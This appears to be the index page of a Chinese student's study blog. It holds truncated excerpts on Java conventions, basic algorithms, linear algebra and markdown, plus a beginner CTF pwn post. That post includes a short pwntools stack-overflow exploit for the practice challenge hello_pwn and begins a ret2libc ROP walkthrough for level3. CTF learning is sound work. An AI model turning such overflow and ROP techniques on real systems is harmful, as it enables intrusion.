“代码规范”
软件开发代码规范:
JAVA代码规范普通规范包的命名方式:公司域名倒置+子公司/产品名称+功能名称如:
net.hedao.musicnet.hedao.uem.internalnet.hedao.uem.http
utils和tools命名规范utils:
定义:通用的,与业务无关,可供其他项目使用
方法通常是public static;一般无类的属性,有的话也是public static
例子:字符串类,文件工具类
tools:
定义:在当前项目通用;仅能在当前项目使用
方法通常是public static;一般无类的属性,有的话也是public static
用户校验类,支付工具类
类名规范类名首字母大写,若多个单词拼合则采取驼峰式命名
如:
class Test{}class TestDemo{}
成员属性成员属性,变量名使用有含义的单词或词组构成;
private long abc=0;//禁止
常量必须由大写字母和下划线分割单词的方式组成
public static final int MAX_NUMBER = Integ ...
pwn:从一窍不通到入门的门前
基础pwn例题,栈溢出,格式化字符串。
栈溢出例题hello_pwn来源:攻防世界
首先先checksec:
再看伪代码:
再看偏移量:
这里基本就明白了:当dowrd_60106C=1853186401时,执行下面的sub函数,sub函数就直接得出flag了,因此只要再前一步的read函数那里创造栈溢出,再人为满足条件判断即可。
exp:
from pwn import *p=process('./hello_pwn')#p=remote('111.200.241.244',52016)payload=b'a'*4+p64(1853186401)p.sendline(payload)p.interactive()
level3来源:攻防世界
checksec:
32位程序,开启堆栈不可执行,这是一道构造ROP的经典例题。
源码看出漏洞还是栈溢出,但是此时找不到现成的system函数和binsh字符串。
因此要找到system函数,知识点(搬运自wiki)
system 函数属于 libc,而 libc.so ...
Java入门基础
Java初学,包含使用IDEA创建文件,基本程序等等
创建新的程序
如上图,创建一个JAVA程序的步骤依次向下创建,注意一个工程可以包含多个模块,一个模块可以包含多个包,一个包可以包含多个类。
字面量(数据格式)字符:用单引号括起来
字符串:用双引号括起来
空值:null
特殊字符:\n:换行符,\t:缩进符
默认整数是Int型,小数是double型,需要改变在数据后加上L/F。
主要结构public class XXXXXX{public static void main(String[] args){System.out.println("")}}
原始类型与引用类型原始类型共8种:char,boolean,byte,short,int,long,float,double
byte:1字节,8位最大值:127
short:2字节,16位,32767
int:4字节,32位,$2^{31}-1$
long:8字节,64位,$2^{63}-1$
float:4字节,32位
double:8字节,64位
剩下的都是引用类 ...
基础算法02
dp(动态规划)的基本例题,可以浅浅的帮助理解。
例题一先来看一道很简单的例题:
具体要求如下:
根据格式可以推出状态方程,这个方程不难,主要关注dp思想,找到状态方程,此题不难发现每一个数字只能往下或者往右走,因此每一个位置的最大值就等于其上面或上左位置的最大值,找到每一个数的最大值,这基本就是动态规划的思想。
核心代码如下:
void dpcount(){ for(int i=1;i<=n;i++) { for(int j=1;j<=n;j++) { dp[i][j]=max(dp[i-1][j],dp[i-1][j-1])+number[i][j]; if(dp[i][j]>ans) ans=dp[i][j]; } }}
ac代码如下:
#include <iostream>#include <algorithm>using namespace std;int n;int ans;int dp[1005][1005]={0};int nu ...
基础算法01
这里存放一点非常基础的算法,忘记了可以来看一眼。
主要是:排序总结,高精度总结。
排序模板冒泡排序这应该是最经典的排序方法,实现也很简单,也很好理解,但是时间会慢一点,复杂度是O($n^2$)
原理大概意思是比较相邻的两个数,如果他们的关系是正确的,则不做操作,如不是,则交换两个数的位置,这样从头到尾进行一次之后最大的数应该是在最后的位置,这个数就是正确顺序的,就像一个泡泡一样冒到了边缘(? 再次重复这个操作,一次完成n-1,n-2,……的排序,至此排序完成。
核心代码如下:
for (int i = 0; i < n - 1; i++)//外层循环记录要大排序次数,是数组元素数量-1{ for (int j = 0; j < n - i - 1; j++)//内层循环记录在一次排序下两两比较的次数,是大排序总次数减去当前排序的次数 { if (arr[j] > arr[j + 1]) swap(arr[j], arr[j + 1]); }}
实现较为简单,因为有两层循环的缘故,时间可能较慢,另外需要注意两次循环的边 ...
线代预习一些知识
这里是复习线代的时候怕遗忘摆的一些小知识,属于是预习过后的产物了(bushi
矩阵的加法需要的前提条件是两个矩阵行数列数相等,这叫通行矩阵,相加就是把各个元素加起来就好了
秩的数量(rank)=矩阵列数,则矩阵内所有向量彼此线性无关,若秩的数量<矩阵列数,则矩阵内向量线性相关
正交矩阵的性质:矩阵的转置=逆矩阵,矩阵点乘矩阵的转置=单位阵,行列式为1或-1
施密特正交化步骤:
. $ A=a $
. $ B=b-\frac{A\tau*b}{A\tau*A}*A$
. $ C=c-\frac{A\tau*c}{A\tau*A}A-\frac{B\tau\c}{B\tau*b}*B $
一些关于行列式的性质:
令$|A|=x$,且方阵是$n*n$的方阵:
$|2*A|=2^n*x$
$|-A|=(-1)^n*x$
$|A^2|=x^2$
$|A^-1|=\frac{1}{|A|}=\frac{1}{x}$
basis 之间是线性无关的,所有的basis生成了整个空间。
矩阵可逆可推出列空间是$R^3$
列空间就是解的主元列的集合,零空间就是解的自由 ...
markdown基本语法使用
这里是第一篇博客,不知道写些啥,那就浅浅的写一下markdown的基本语法叭
1.粗体和斜体语法:1.*斜体* or _斜体_2.**粗体**3.***加粗斜体***4.~~删除线~~
显示效果:
这是一段斜体
这是一段粗体
这是一段加粗斜体
这是一段删除线
2.分级标题语法:
1.#一级标题2.##二级标题3.###三级标题4.####四级标题5.#####五级标题6.######六级标题
注意: 字号一次递减,一级最大。
3.超链接第一种语法说明:[]里写链接文字,()里写链接地址,另外最后的双引号内属性表示鼠标悬停时给出的信息,可加可不加,要加的话记得补上空格。
1.欢迎滚去[百度一下](https://www.baidu.com/ "百度一下你就知道")2.欢迎滚去[百度一下](https://www.baidu.com/)
1.欢迎滚去百度一下
2.欢迎滚去百度一下
第二种在第一种的基础上可以加上序号方便管理。
1.你可以前往[百度][1],[洛谷][2]等地方学习2.[1]:https://www.baidu.com/ "百度" ...